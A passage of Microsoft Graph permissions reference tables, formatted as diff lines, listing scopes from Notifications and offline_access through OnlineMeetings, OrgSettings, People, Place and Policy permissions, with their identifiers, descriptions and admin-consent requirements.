+Allows the app to deliver its notifications on behalf of signed-in users. Also allows the app to read, update, and delete the user's notification items for this app. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Notifications.ReadWrite.CreatedByApp delegated permission is available for consent in personal Microsoft accounts.
+
+offline_access
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+7427e0e9-2fba-42fe-b0c0-848c9e6a8182 |
+
+
+| DisplayText |
+- |
+Maintain access to data you have given it access to |
+
+
+| Description |
+- |
+Allows the app to see and update the data you gave it access to, even when users are not currently using the app. This does not give the app any additional permissions. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+OnlineMeetingArtifact.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+df01ed3b-eb61-4eca-9965-6b3d789751b2 |
+110e5abb-a10c-4b59-8b55-9b4daa4ef743 |
+
+
+| DisplayText |
+Read online meeting artifacts |
+Read user's online meeting artifacts |
+
+
+| Description |
+Allows the app to read online meeting artifacts in your organization, without a signed-in user. |
+Allows the app to read online meeting artifacts on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.
+
+OnlineMeetingRecording.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a4a08342-c95d-476b-b943-97e100569c8d |
+190c2bb6-1fdd-4fec-9aa2-7d571b5e1fe3 |
+
+
+| DisplayText |
+Read all recordings of online meetings. |
+Read all recordings of online meetings. |
+
+
+| Description |
+Allows the app to read all recordings of all online meetings, without a signed-in user. |
+Allows the app to read all recordings of online meetings, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.
+
+OnlineMeetings.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+9be106e1-f4e3-4df5-bdff-e4bc531cbe43 |
+
+
+| DisplayText |
+- |
+Read user's online meetings |
+
+
+| Description |
+- |
+Allows the app to read online meeting details on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.
+
+OnlineMeetings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c1684f21-1984-47fa-9d61-2dc8c296bb70 |
+- |
+
+
+| DisplayText |
+Read online meeting details |
+- |
+
+
+| Description |
+Allows the app to read online meeting details in your organization, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+OnlineMeetings.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+a65f2972-a4f8-4f5e-afd7-69ccb046d5dc |
+
+
+| DisplayText |
+- |
+Read and create user's online meetings |
+
+
+| Description |
+- |
+Allows the app to read and create online meetings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.
+
+OnlineMeetings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b8bb2037-6e08-44ac-a4ea-4674e010e2a4 |
+- |
+
+
+| DisplayText |
+Read and create online meetings |
+- |
+
+
+| Description |
+Allows the app to read and create online meetings as an application in your organization. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+OnlineMeetingTranscript.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a4a80d8d-d283-4bd8-8504-555ec3870630 |
+30b87d18-ebb1-45db-97f8-82ccb1f0190c |
+
+
+| DisplayText |
+Read all transcripts of online meetings. |
+Read all transcripts of online meetings. |
+
+
+| Description |
+Allows the app to read all transcripts of all online meetings, without a signed-in user. |
+Allows the app to read all transcripts of online meetings, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.
+
+OnPremDirectorySynchronization.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bb70e231-92dc-4729-aff5-697b3f04be95 |
+f6609722-4100-44eb-b747-e6ca0536989d |
+
+
+| DisplayText |
+Read all on-premises directory synchronization information |
+Read all on-premises directory synchronization information |
+
+
+| Description |
+Allows the app to read all on-premises directory synchronization information for the organization, without a signed-in user. |
+Allows the app to read all on-premises directory synchronization information for the organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OnPremDirectorySynchronization.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c22a92cc-79bf-4bb1-8b6c-e0a05d3d80ce |
+c2d95988-7604-4ba1-aaed-38a5f82a51c7 |
+
+
+| DisplayText |
+Read and write all on-premises directory synchronization information |
+Read and write all on-premises directory synchronization information |
+
+
+| Description |
+Allows the app to read and write all on-premises directory synchronization information for the organization, without a signed-in user. |
+Allows the app to read and write all on-premises directory synchronization information for the organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OnPremisesPublishingProfiles.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0b57845e-aa49-4e6f-8109-ce654fffa618 |
+8c4d5184-71c2-4bf8-bb9d-bc3378c9ad42 |
+
+
+| DisplayText |
+Manage on-premises published resources |
+Manage on-premises published resources |
+
+
+| Description |
+Allows the app to create, view, update and delete on-premises published resources, on-premises agents and agent groups, as part of a hybrid identity configuration, without a signed in user. |
+Allows the app to manage hybrid identity service configuration by creating, viewing, updating and deleting on-premises published resources, on-premises agents and agent groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+openid
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+37f7f235-527c-4136-accd-4a02d197296e |
+
+
+| DisplayText |
+- |
+Sign users in |
+
+
+| Description |
+- |
+Allows users to sign in to the app with their work or school accounts and allows the app to see basic user profile information. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+Organization.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+498476ce-e0fe-48b0-b801-37ba7e2685c6 |
+4908d5b9-3fb2-4b1e-9336-1888b7937185 |
+
+
+| DisplayText |
+Read organization information |
+Read organization information |
+
+
+| Description |
+Allows the app to read the organization and related resources, without a signed-in user. Related resources include things like subscribed skus and tenant branding information. |
+Allows the app to read the organization and related resources, on behalf of the signed-in user. Related resources include things like subscribed skus and tenant branding information. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Organization.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+292d869f-3427-49a8-9dab-8c70152b74e9 |
+46ca0847-7e6b-426e-9775-ea810a948356 |
+
+
+| DisplayText |
+Read and write organization information |
+Read and write organization information |
+
+
+| Description |
+Allows the app to read and write the organization and related resources, without a signed-in user. Related resources include things like subscribed skus and tenant branding information. |
+Allows the app to read and write the organization and related resources, on behalf of the signed-in user. Related resources include things like subscribed skus and tenant branding information. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrganizationalBranding.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+eb76ac34-0d62-4454-b97c-185e4250dc20 |
+9082f138-6f02-4f3a-9f4d-5f3c2ce5c688 |
+
+
+| DisplayText |
+Read organizational branding information |
+Read organizational branding information |
+
+
+| Description |
+Allows the app to read the organizational branding information, without a signed-in user. |
+Allows the app to read the organizational branding information, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrganizationalBranding.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d2ebfbc1-a5f8-424b-83a6-56ab5927a73c |
+15ce63de-b141-4c9a-a9a5-241bf27c6aaf |
+
+
+| DisplayText |
+Read and write organizational branding information |
+Read and write organizational branding information |
+
+
+| Description |
+Allows the app to read and write the organizational branding information, without a signed-in user. |
+Allows the app to read and write the organizational branding information, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e1a88a34-94c4-4418-be12-c87b00e26bea |
+08432d1b-5911-483c-86df-7980af5cdee0 |
+
+
+| DisplayText |
+Read organizational contacts |
+Read organizational contacts |
+
+
+| Description |
+Allows the app to read all organizational contacts without a signed-in user. These contacts are managed by the organization and are different from a user's personal contacts. |
+Allows the app to read all organizational contacts on behalf of the signed-in user. Â These contacts are managed by the organization and are different from a user's personal contacts. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-AppsAndServices.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+56c84fa9-ea1f-4a15-90f2-90ef41ece2c9 |
+1e9b7a7e-4d64-44ff-acf5-2e9651c1519f |
+
+
+| DisplayText |
+Read organization-wide apps and services settings |
+Read organization-wide apps and services settings |
+
+
+| Description |
+Allows the app to read organization-wide apps and services settings, without a signed-in user. |
+Allows the app to read organization-wide apps and services settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-AppsAndServices.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4a8e4191-c1c8-45f8-b801-f9a1a5ee6ad3 |
+c167b0e7-47c0-48e8-9eee-9892f58018fa |
+
+
+| DisplayText |
+Read and write organization-wide apps and services settings |
+Read and write organization-wide apps and services settings |
+
+
+| Description |
+Allows the app to read and write organization-wide apps and services settings, without a signed-in user. |
+Allows the app to read and write organization-wide apps and services settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-DynamicsVoice.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c18ae2dc-d9f3-4495-a93f-18980a0e159f |
+9862d930-5aec-4a98-8d4f-7277a8db9bcb |
+
+
+| DisplayText |
+Read organization-wide Dynamics customer voice settings |
+Read organization-wide Dynamics customer voice settings |
+
+
+| Description |
+Allows the app to read organization-wide Dynamics customer voice settings, without a signed-in user. |
+Allows the app to read organization-wide Dynamics customer voice settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-DynamicsVoice.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c3f1cc32-8bbd-4ab6-bd33-f270e0d9e041 |
+4cea26fb-6967-4234-82c4-c044414743f8 |
+
+
+| DisplayText |
+Read and write organization-wide Dynamics customer voice settings |
+Read and write organization-wide Dynamics customer voice settings |
+
+
+| Description |
+Allows the app to read and write organization-wide Dynamics customer voice settings, without a signed-in user. |
+Allows the app to read and write organization-wide Dynamics customer voice settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+434d7c66-07c6-4b1f-ab21-417cf2cdaaca |
+210051a0-1ffc-435c-ae76-02d226d05752 |
+
+
+| DisplayText |
+Read organization-wide Microsoft Forms settings |
+Read organization-wide Microsoft Forms settings |
+
+
+| Description |
+Allows the app to read organization-wide Microsoft Forms settings, without a signed-in user. |
+Allows the app to read organization-wide Microsoft Forms settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2cb92fee-97a3-4034-8702-24a6f5d0d1e9 |
+346c19ff-3fb2-4e81-87a0-bac9e33990c1 |
+
+
+| DisplayText |
+Read and write organization-wide Microsoft Forms settings |
+Read and write organization-wide Microsoft Forms settings |
+
+
+| Description |
+Allows the app to read and write organization-wide Microsoft Forms settings, without a signed-in user. |
+Allows the app to read and write organization-wide Microsoft Forms settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-Microsoft365Install.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6cdf1fb1-b46f-424f-9493-07247caa22e2 |
+8cbdb9f6-9c2e-451a-814d-ec606e5d0212 |
+
+
+| DisplayText |
+Read organization-wide Microsoft 365 apps installation settings |
+Read organization-wide Microsoft 365 apps installation settings |
+
+
+| Description |
+Allows the app to read organization-wide Microsoft 365 apps installation settings, without a signed-in user. |
+Allows the app to read organization-wide Microsoft 365 apps installation settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-Microsoft365Install.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+83f7232f-763c-47b2-a097-e35d2cbe1da5 |
+1ff35e91-19eb-42d8-aa2d-cc9891127ae5 |
+
+
+| DisplayText |
+Read and write organization-wide Microsoft 365 apps installation settings |
+Read and write organization-wide Microsoft 365 apps installation settings |
+
+
+| Description |
+Allows the app to read and write organization-wide Microsoft 365 apps installation settings, without a signed-in user. |
+Allows the app to read and write organization-wide Microsoft 365 apps installation settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-Todo.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e4d9cd09-d858-4363-9410-abb96737f0cf |
+7ff96f41-f022-45ba-acd8-ef3f03063d6b |
+
+
+| DisplayText |
+Read organization-wide Microsoft To Do settings |
+Read organization-wide Microsoft To Do settings |
+
+
+| Description |
+Allows the app to read organization-wide Microsoft To Do settings, without a signed-in user. |
+Allows the app to read organization-wide Microsoft To Do settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+OrgSettings-Todo.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5febc9da-e0d0-4576-bd13-ae70b2179a39 |
+087502c2-5263-433e-abe3-8f77231a0627 |
+
+
+| DisplayText |
+Read and write organization-wide Microsoft To Do settings |
+Read and write organization-wide Microsoft To Do settings |
+
+
+| Description |
+Allows the app to read and write organization-wide Microsoft To Do settings, without a signed-in user. |
+Allows the app to read and write organization-wide Microsoft To Do settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PartnerBilling.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7c3e1994-38ff-4412-a99b-9369f6bb7706 |
+8804798e-5934-4e30-8ce3-ef88257cecd4 |
+
+
+| DisplayText |
+Read all billing data for your company's tenant |
+Read all billing data for your company's tenant |
+
+
+| Description |
+Allows the app to read all of billing data from Microsoft for your company's tenant, without a signed-in user. This includes reading billed and unbilled azure usage and invoice reconciliation data. |
+Allows the app to read all of billing data from Microsoft for your company's tenant, on behalf of the signed-in user. This includes reading billed and unbilled Usage and Invoice reconciliation data. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PartnerSecurity.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+21ffa320-2e7f-47d3-a466-7ff04d2dd68d |
+5567b981-0bf1-4796-9038-0648b46e116d |
+
+
+| DisplayText |
+Read security alerts of customer with CSP relationship |
+Read security alerts of customer with CSP relationship |
+
+
+| Description |
+Allows the app to read security alerts of customer with CSP relationship, without a signed-in user. |
+Allows the app to read security alerts of customer with CSP relationship on behalf of the partner signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PartnerSecurity.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+04a2c935-5b4b-474a-be42-11f53111f271 |
+0cd2c1f6-94a1-4075-ab8c-0b1aff2e1ad5 |
+
+
+| DisplayText |
+Read security alerts and update status of security alerts of customer with CSP relationship |
+Read security alerts and update status of security alerts of customer with CSP relationship |
+
+
+| Description |
+Allows the app to read security alerts and update status of alerts of customer with CSP relationship, without a signed-in user. |
+Allows the app to read security alerts and update status of alerts of customer with CSP relationship on behalf of the partner signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PendingExternalUserProfile.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bdfb26d9-bb36-49be-9b4c-b8cbf4b05808 |
+d88fd3fb-53d3-4c1c-8c39-787fcac2ed7a |
+
+
+| DisplayText |
+Read all pending external user profiles |
+Read pending external user profiles |
+
+
+| Description |
+Allows the app to read available properties of pending external user profiles, without a signed-in user. |
+Allows the app to read available properties of pending external user profiles, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PendingExternalUserProfile.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8363c2b8-6ff7-420b-9966-c5884c2d48bc |
+93a1fb28-c908-4826-904e-0c74ad352b73 |
+
+
+| DisplayText |
+Read and write all pending external user profiles |
+Read and write pending external user profiles |
+
+
+| Description |
+Allows the app to read and write available properties of pending external user profiles, without a signed-in user. |
+Allows the app to read and write available properties of pending external user profiles, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+People.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ba47897c-39ec-4d83-8086-ee8256fa737d |
+
+
+| DisplayText |
+- |
+Read users' relevant people lists |
+
+
+| Description |
+- |
+Allows the app to read a ranked list of relevant people of the signed-in user. The list includes local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype). |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The People.Read delegated permission is available for consent in personal Microsoft accounts.
+
+People.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b528084d-ad10-4598-8b93-929746b4d7d6 |
+b89f9189-71a5-4e70-b041-9887f0bc7e4a |
+
+
+| DisplayText |
+Read all users' relevant people lists |
+Read all users' relevant people lists |
+
+
+| Description |
+Allows the app to read any user's scored list of relevant people, without a signed-in user. The list can include local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype). |
+Allows the app to read a scored list of relevant people of the signed-in user or other users in the signed-in user's organization. The list can include local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype). |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PeopleSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ef02f2e7-e22d-4c77-8614-8f765683b86e |
+ec762c5f-388b-4b16-8693-ac1efbc611bc |
+
+
+| DisplayText |
+Read all tenant-wide people settings |
+Read tenant-wide people settings |
+
+
+| Description |
+Allows the application to read tenant-wide people settings without a signed-in user. |
+Allows the application to read tenant-wide people settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PeopleSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b6890674-9dd5-4e42-bb15-5af07f541ae1 |
+e67e6727-c080-415e-b521-e3f35d5248e9 |
+
+
+| DisplayText |
+Read and write all tenant-wide people settings |
+Read and write tenant-wide people settings |
+
+
+| Description |
+Allows the application to read and write tenant-wide people settings without a signed-in user. |
+Allows the application to read and write tenant-wide people settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Place.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+913b9306-0ce1-42b8-9137-6a7df690a760 |
+cb8f45a0-5c2e-4ea1-b803-84b870a7d7ec |
+
+
+| DisplayText |
+Read all company places |
+Read all company places |
+
+
+| Description |
+Allows the app to read company places (conference rooms and room lists) for calendar events and other applications, without a signed-in user. |
+Allows the app to read your company's places (conference rooms and room lists) for calendar events and other applications, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Place.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+4c06a06a-098a-4063-868e-5dfee3827264 |
+
+
+| DisplayText |
+- |
+Read and write organization places |
+
+
+| Description |
+- |
+Allows the app to manage organization places (conference rooms and room lists) for calendar events and other applications, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+PlaceDevice.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8b724a84-ceac-4fd9-897e-e31ba8f2d7a3 |
+4c7f93d2-6b0b-4e05-91aa-87842f0a2142 |
+
+
+| DisplayText |
+Read all workplace devices |
+Read all workplace devices |
+
+
+| Description |
+Allows the app to read all workplace devices, without a signed-in user. |
+Allows the app to read all workplace devices, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PlaceDevice.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2d510721-5c4e-43cd-bfdb-ac0f8819fb92 |
+eafd6a71-e95a-4f8a-bb6e-fb84ab7fbd9e |
+
+
+| DisplayText |
+Read and write all workplace devices |
+Read and write all workplace devices |
+
+
+| Description |
+Allows the app to read and write all workplace devices, without a signed-in user. |
+Allows the app to read and write all workplace devices, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PlaceDeviceTelemetry.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+27fc435f-44e2-4b30-bf3c-e0ce74aed618 |
+- |
+
+
+| DisplayText |
+Read and write telemetry for all workplace devices. |
+- |
+
+
+| Description |
+Allows the app to read and write telemetry for all workplace devices, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Policy.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+246dd0d5-5bd0-4def-940b-0421030a5b68 |
+572fea84-0151-49b2-9301-11cb16974376 |
+
+
+| DisplayText |
+Read your organization's policies |
+Read your organization's policies |
+
+
+| Description |
+Allows the app to read all your organization's policies without a signed in user. |
+Allows the app to read your organization's policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The Policy.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+Policy.Read.ConditionalAccess
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+37730810-e9ba-4e46-b07e-8ca78d182097 |
+633e0fce-8c58-4cfb-9495-12bbd5a24f7c |
+
+
+| DisplayText |
+Read your organization's conditional access policies |
+Read your organization's conditional access policies |
+
+
+| Description |
+Allows the app to read your organization's conditional access policies, without a signed-in user. |
+Allows the app to read your organization's conditional access policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Policy.Read.IdentityProtection
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b21b72f6-4e6a-4533-9112-47eea9f97b28 |
+d146432f-b803-4ed4-8d42-ba74193a6ede |
+
+
+| DisplayText |
+Read your organization's identity protection policy |
+Read your organization's identity protection policy |
+
+
+| Description |
+Allows the app to read your organization's identity protection policy without a signed-in user. |
+Allows the app to read your organization's identity protection policy on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.Read.PermissionGrant
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9e640839-a198-48fb-8b9a-013fd6f6cbcd |
+414de6ea-2d92-462f-b120-6e2a809a6d01 |
+
+
+| DisplayText |
+Read consent and permission grant policies |
+Read consent and permission grant policies |
+
+
+| Description |
+Allows the app to read policies related to consent and permission grants for applications, without a signed-in user. |
+Allows the app to read policies related to consent and permission grants for applications, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.AccessReview
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+77c863fd-06c0-47ce-a7eb-49773e89d319 |
+4f5bc9c8-ea54-4772-973a-9ca119cb0409 |
+
+
+| DisplayText |
+Read and write your organization's directory access review default policy |
+Read and write your organization's directory access review default policy |
+
+
+| Description |
+Allows the app to read and write your organization's directory access review default policy without a signed-in user. |
+Allows the app to read and write your organization's directory access review default policy on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.ApplicationConfiguration
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+be74164b-cff1-491c-8741-e671cb536e13 |
+b27add92-efb2-4f16-84f5-8108ba77985c |
+
+
+| DisplayText |
+Read and write your organization's application configuration policies |
+Read and write your organization's application configuration policies |
+
+
+| Description |
+Allows the app to read and write your organization's application configuration policies, without a signed-in user. This includes policies such as activityBasedTimeoutPolicy, claimsMappingPolicy, homeRealmDiscoveryPolicy, tokenIssuancePolicy and tokenLifetimePolicy. |
+Allows the app to read and write your organization's application configuration policies on behalf of the signed-in user. This includes policies such as activityBasedTimeoutPolicy, claimsMappingPolicy, homeRealmDiscoveryPolicy, tokenIssuancePolicy and tokenLifetimePolicy. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.AuthenticationFlows
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+25f85f3c-f66c-4205-8cd5-de92dd7f0cec |
+edb72de9-4252-4d03-a925-451deef99db7 |
+
+
+| DisplayText |
+Read and write authentication flow policies |
+Read and write authentication flow policies |
+
+
+| Description |
+Allows the app to read and write all authentication flow policies for the tenant, without a signed-in user. |
+Allows the app to read and write the authentication flow policies, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.AuthenticationMethod
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+29c18626-4985-4dcd-85c0-193eef327366 |
+7e823077-d88e-468f-a337-e18f1f0e6c7c |
+
+
+| DisplayText |
+Read and write all authentication method policies |
+Read and write authentication method policies |
+
+
+| Description |
+Allows the app to read and write all authentication method policies for the tenant, without a signed-in user. |
+Allows the app to read and write the authentication method policies, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The Policy.ReadWrite.AuthenticationMethod delegated permission is available for consent in personal Microsoft accounts.
+
+Policy.ReadWrite.Authorization
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fb221be6-99f2-473f-bd32-01c6a0e9ca3b |
+edd3c878-b384-41fd-95ad-e7407dd775be |
+
+
+| DisplayText |
+Read and write your organization's authorization policy |
+Read and write your organization's authorization policy |
+
+
+| Description |
+Allows the app to read and write your organization's authorization policy without a signed in user. For example, authorization policies can control some of the permissions that the out-of-the-box user role has by default. |
+Allows the app to read and write your organization's authorization policy on behalf of the signed-in user. For example, authorization policies can control some of the permissions that the out-of-the-box user role has by default. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.ConditionalAccess
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+01c0a623-fc9b-48e9-b794-0756f8e8f067 |
+ad902697-1014-4ef5-81ef-2b4301988e8c |
+
+
+| DisplayText |
+Read and write your organization's conditional access policies |
+Read and write your organization's conditional access policies |
+
+
+| Description |
+Allows the app to read and write your organization's conditional access policies, without a signed-in user. |
+Allows the app to read and write your organization's conditional access policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.ConsentRequest
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+999f8c63-0a38-4f1b-91fd-ed1947bdd1a9 |
+4d135e65-66b8-41a8-9f8b-081452c91774 |
+
+
+| DisplayText |
+Read and write your organization's consent request policy |
+Read and write consent request policy |
+
+
+| Description |
+Allows the app to read and write your organization's consent requests policy without a signed-in user. |
+Allows the app to read and write your organization's consent requests policy on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.CrossTenantAccess
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+338163d7-f101-4c92-94ba-ca46fe52447c |
+014b43d0-6ed4-4fc6-84dc-4b6f7bae7d85 |
+
+
+| DisplayText |
+Read and write your organization's cross tenant access policies |
+Read and write your organization's cross tenant access policies |
+
+
+| Description |
+Allows the app to read and write your organization's cross tenant access policies without a signed-in user. |
+Allows the app to read and write your organization's cross tenant access policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.DeviceConfiguration
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+40b534c3-9552-4550-901b-23879c90bcf9 |
+
+
